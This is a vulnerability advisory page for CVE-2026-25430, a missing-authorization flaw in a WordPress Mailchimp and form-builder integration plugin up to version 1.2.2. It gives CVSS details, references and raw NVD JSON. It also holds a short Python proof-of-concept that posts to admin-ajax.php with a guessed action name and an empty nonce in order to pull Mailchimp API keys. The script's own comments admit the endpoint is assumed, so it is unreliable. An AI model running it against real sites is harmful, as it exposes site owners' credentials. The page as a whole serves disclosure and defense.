CVE-2026-25430

Description

Missing Authorization vulnerability in CRM Perks Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms cf7-mailchimp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms: from n/a through <= 1.2.2.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms <= 1.2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-25430
# Exploiting Missing Authorization vulnerability

import requests

def exploit(target_url, cookie):
    # Target endpoint (example, actual endpoint may vary based on plugin implementation)
    url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload to trigger the vulnerable action
    # Assuming 'get_mailchimp_lists' is a sensitive action missing authorization checks
    data = {
        "action": "cf7_mailchimp_get_lists", 
        "security": "" # Nonce might not be required or bypassable
    }
    
    headers = {
        "Cookie": cookie
    }
    
    try:
        response = requests.post(url, data=data, headers=headers, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Response content:")
            print(response.text)
            if "api_key" in response.text or "list_id" in response.text:
                print("[!] Potential sensitive data leaked.")
        else:
            print("[-] Exploit failed.")
    except Exception as e:
        print(f"[-] Error: {e}")

# Usage
# exploit("http://target-site.com", "wordpress_logged_in_xxx=...")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25430
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25430
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25430/
[4] VulDB https://vuldb.com/cve/CVE-2026-25430
[5] https://patchstack.com/database/Wordpress/Plugin/cf7-mailchimp/vulnerability/wordpress-integration-for-mailchimp-and-contact-form-7-wpforms-elementor-ninja-forms-plugin-1-2-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25430", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:50.593", "lastModified": "2026-04-28T02:16:07.260", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in CRM Perks Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms cf7-mailchimp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms: from n/a through <= 1.2.2."}, {"lang": "es", "value": "Vulnerabilidad de falta de autorización en CRM Perks Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms cf7-mailchimp permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms: desde n/a hasta <= 1.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cf7-mailchimp/vulnerability/wordpress-integration-for-mailchimp-and-contact-form-7-wpforms-elementor-ninja-forms-plugin-1-2-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}